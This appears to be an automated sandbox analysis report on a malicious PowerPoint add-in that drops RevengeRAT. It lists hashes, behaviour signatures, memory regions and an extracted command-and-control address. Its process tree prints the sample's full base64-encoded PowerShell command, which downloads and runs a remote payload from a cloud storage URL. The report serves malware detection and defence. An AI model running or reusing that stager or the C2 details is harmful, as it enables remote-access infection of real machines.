Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
25-03-2024 08:00
Behavioral task
behavioral1
Sample
Comrpovante de pagamento.ppa
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Comrpovante de pagamento.ppa
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Documentacao pax.ppa
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Documentacao pax.ppa
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
Solicitacao n 3422022.ppa
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
Solicitacao n 3422022.ppa
Resource
win10v2004-20240226-en
General
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Target
Solicitacao n 3422022.ppa
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Size
88KB
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MD5
ff08378dd83e84df74a9ce07f5105aa2
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SHA1
2ba229ede6c3b0a53e966d6f491e556b8b9efe72
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SHA256
994fbd9bbcb4586bcc97a0c0fb48f08b3af8acac284624c84d2d102fb1f3762e
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SHA512
f09ce3a2e8a21979c8d8060ee8206cc6d4146a80176a3f243f35fa0f8f021ec349fb3474ff0635c3543092c34ad6bcb5898895c37d05763f6945fc42fa8ca1fc
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SSDEEP
768:0cOoejkNcs+kozxpxWMjcXocyNumLu8J7icjo:0WejkNcsuzxpxWbYT1u
Malware Config
Extracted
revengerat
NyanCatRevenge
craxsrat.ddns.com.br:333
27d7e6701f5e
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 3652 4460 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 72 3652 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3652 set thread context of 3744 3652 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXERegSvcs.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 4460 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3652 powershell.exe 3652 powershell.exe 3652 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3652 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
POWERPNT.EXEpid process 4460 POWERPNT.EXE 4460 POWERPNT.EXE 4460 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 4460 wrote to memory of 3652 4460 POWERPNT.EXE powershell.exe PID 4460 wrote to memory of 3652 4460 POWERPNT.EXE powershell.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe PID 3652 wrote to memory of 3744 3652 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Solicitacao n 3422022.ppa"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywclxexy.gek.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/3652-92-0x000002D639910000-0x000002D639930000-memory.dmpFilesize
128KB
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memory/3652-93-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3652-104-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3652-102-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3652-85-0x000002D620E90000-0x000002D620EA0000-memory.dmpFilesize
64KB
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memory/3652-90-0x000002D620E90000-0x000002D620EA0000-memory.dmpFilesize
64KB
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memory/3652-91-0x000002D620E90000-0x000002D620EA0000-memory.dmpFilesize
64KB
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memory/3652-109-0x00007FF864480000-0x00007FF864F41000-memory.dmpFilesize
10.8MB
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memory/3652-78-0x000002D620E40000-0x000002D620E62000-memory.dmpFilesize
136KB
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memory/3652-100-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3652-94-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3652-79-0x00007FF864480000-0x00007FF864F41000-memory.dmpFilesize
10.8MB
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memory/3652-105-0x000002D639930000-0x000002D639931000-memory.dmpFilesize
4KB
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memory/3652-98-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3652-96-0x000002D639910000-0x000002D639928000-memory.dmpFilesize
96KB
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memory/3744-115-0x0000000005AD0000-0x0000000005B36000-memory.dmpFilesize
408KB
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memory/3744-118-0x00000000751D0000-0x0000000075980000-memory.dmpFilesize
7.7MB
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memory/3744-106-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
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memory/3744-110-0x00000000751D0000-0x0000000075980000-memory.dmpFilesize
7.7MB
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memory/3744-111-0x0000000005520000-0x0000000005AC4000-memory.dmpFilesize
5.6MB
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memory/3744-119-0x0000000004E70000-0x0000000004E80000-memory.dmpFilesize
64KB
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memory/3744-113-0x0000000004E70000-0x0000000004E80000-memory.dmpFilesize
64KB
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memory/3744-114-0x0000000005450000-0x00000000054EC000-memory.dmpFilesize
624KB
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memory/4460-15-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-19-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-52-0x00000139EB920000-0x00000139EC8F0000-memory.dmpFilesize
15.8MB
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memory/4460-53-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-54-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-55-0x00000139EB920000-0x00000139EC8F0000-memory.dmpFilesize
15.8MB
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memory/4460-68-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-69-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-70-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-71-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-72-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-73-0x00000139EB920000-0x00000139EC8F0000-memory.dmpFilesize
15.8MB
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memory/4460-74-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-75-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-31-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-24-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-22-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-21-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-20-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-48-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-18-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-17-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-16-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-0-0x00007FF852010000-0x00007FF852020000-memory.dmpFilesize
64KB
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memory/4460-14-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-13-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-12-0x00007FF84F7B0000-0x00007FF84F7C0000-memory.dmpFilesize
64KB
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memory/4460-11-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-10-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-8-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-9-0x00007FF84F7B0000-0x00007FF84F7C0000-memory.dmpFilesize
64KB
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memory/4460-7-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-1-0x00007FF852010000-0x00007FF852020000-memory.dmpFilesize
64KB
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memory/4460-6-0x00007FF852010000-0x00007FF852020000-memory.dmpFilesize
64KB
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memory/4460-5-0x00007FF852010000-0x00007FF852020000-memory.dmpFilesize
64KB
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memory/4460-3-0x00007FF852010000-0x00007FF852020000-memory.dmpFilesize
64KB
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memory/4460-116-0x00000139E8D10000-0x00000139E9510000-memory.dmpFilesize
8.0MB
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memory/4460-4-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB
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memory/4460-2-0x00007FF891F90000-0x00007FF892185000-memory.dmpFilesize
2.0MB